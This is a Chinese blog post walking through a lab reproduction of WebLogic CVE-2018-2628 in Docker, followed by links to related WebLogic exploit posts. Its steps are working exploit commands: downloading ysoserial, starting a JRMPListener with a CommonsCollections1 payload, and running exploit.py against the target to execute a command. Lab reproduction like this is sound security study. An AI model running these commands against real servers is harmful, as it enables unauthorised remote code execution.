weblogic(CVE-2018-2628漏洞复现)

0.先提几个概念

JRMP:java remote method protocol，Java远程方法协议
JRMP是的Java技术协议的具体对象为希望和远程引用。JRMP只能是一个Java特有的,基于流的协议。相对于的RMI - IIOP的，该协议JRMP只能是一个对象的Java到Java的远程调用，这使得它依赖语言，意思是客户端和服务器必须使用Java。
JRMP:Java远程消息交换协议JRMP（Java Remote Messaging Protocol）
该协议基于TCP/IP，既然是作为信息交换协议，必然存在接收和发送两个端点，JRMPListener可以粗糙的理解为发送端，在本实验中意为攻击机上1099端口与weblogic靶机上的7001进行通信达到远程命令执行的目的。

1.安装靶机环境

docker pull zhiqzhao/ubuntu_weblogic1036_domain
docker run -d -p 7001:7001 zhiqzhao/ubuntu_weblogic1036_domain

#这里直接使用大佬配置好的环境

2.在JRMPListener主机上运行命令

这里采用的是Ubuntu16.04+docker，docker容器作为weblogic靶机，在此JRMPListener主机指的是Ubuntu16.04。

wget https://github.com/brianwrf/ysoserial/releases/download/0.0.6-pri-beta/ysoserial-0.0.6-SNAPSHOT-BETA-all.jar
java -cp ysoserial-0.0.6-SNAPSHOT-BETA-all.jar ysoserial.exploit.JRMPListener 1099 CommonsCollections1 'touch /tmp/sss666.txt'
#'touch /tmp/sss666.txt'为我想执行的命令，1099是JRMP Server监听的端口。

图中的172.17.0.2的ip为docker靶机的ip
3.运行exploit脚本

python exploit.py 172.17.0.2 7001 ../ysoserial-0.0.6-SNAPSHOT-BETA-all.jar 10.185.43.215 1099 JRMPClien
#172.17.0.2 7001是weblogic靶机的IP和端口
#../ysoserial-0.0.6-SNAPSHOT-BETA-all.jar 是ysoserial的本地路径根据自己真实路径填写
#10.185.43.215 1099的JRMP 一端的IP地址和端口
#JRMPClien是执行JRMPClient的类

4.进入docker靶机查看文件是否创建成功

docker exec -ti determined_stonebrak /bin/bash
#determined_stonebrak是我的docker靶机的名字，每个人创建的名字都不一样可使用docker ps查看NAME
ls /tmp/

weblogic(CVE-2018-2628漏洞复现)相关推荐

关于WebLogic环境搭建和漏洞复现
一.环境搭建使用kali系统安装docker,再在docker上安装环境,这里以CVE-2020-14882为例在kali进入root用户,输入 git clone https://github. ...
Weblogic历史漏洞复现
Weblogic WebLogic是美国Oracle公司出品的一个applicationserver,确切的说是一个基于JAVAEE架构的中间件,WebLogic是用于开发.集成.部署和管理大型分布式 ...
java rmi漏洞工具_学生会私房菜【20200924】Weblogic WLS核心组件反序列化命令执行突破（CVE20182628）漏洞复现...
学生会私房菜学生会私房菜是通过学生会信箱收集同学们的来稿,挑选其中的优质文档,不定期进行文档推送的主题. 本期文档内容为:Weblogic WLS核心组件反序列化命令执行突破(CVE-2018-26 ...
Weblogic WLS Core Components 反序列化命令执行漏洞复现（CVE-2018-2628）
Oracle 2018年4月补丁中,修复了Weblogic Server WLS Core Components中出现的一个反序列化漏洞(CVE-2018-2628),该漏洞通过t3协议触发,可导致未 ...
[web攻防] weblogic 漏洞复现 CVE-2017-10271CVE-2018-2628CVE-2018-2894
用docker复现weblogic的部分高危漏洞,主要是记录下一些操作,积累自己的知识储备.由于时间与个人水平原因,不对原理做过多叙述. 目录环境打开方式 CVE-2017-10271 weblog ...
weblogic修改banner_Weblogic多个漏洞复现
WebLogic两处任意文件上传漏洞(CVE-2018-2894) 涉及版本: version:10.3.6.0,12.1.3.0,12.2.1.2,12.2.1.3 漏洞地址 WebLogic管理端 ...
WebLogic Server 远程代码执行漏洞复现 (CVE-2023-21839)
1.产品简介 Oracle WebLogic Server是一个统一的可扩展平台,用于在本地和云端开发.部署和运行企业应用程序,例如 Java.WebLogic Server提供了Java Enter ...
weblogic中ssrf漏洞修复_Weblogic-SSRF漏洞复现
0x00简介 WebLogic是美国Oracle公司出品的一个application server确切的说是一个基于JAVAEE架构的中间件,BEA WebLogic是用于开发.集成.部署和管理大型分 ...
weblogic漏洞复现（CVE-2020-2555）
漏洞环境:fofa自己找,server=weblogic port=7001 一.漏洞简介该反序列化的gadget存在与coherence包中.具体可以见分析构造chain类似于common-co ...
weblogic 漏洞复现
cd vulhub/weblogic/CVE-2018-2894/ //进入对应得目录sudo service docker start //启动docker服务docker-compose up - ...

weblogic(CVE-2018-2628漏洞复现)

weblogic(CVE-2018-2628漏洞复现)相关推荐

最新文章

热门文章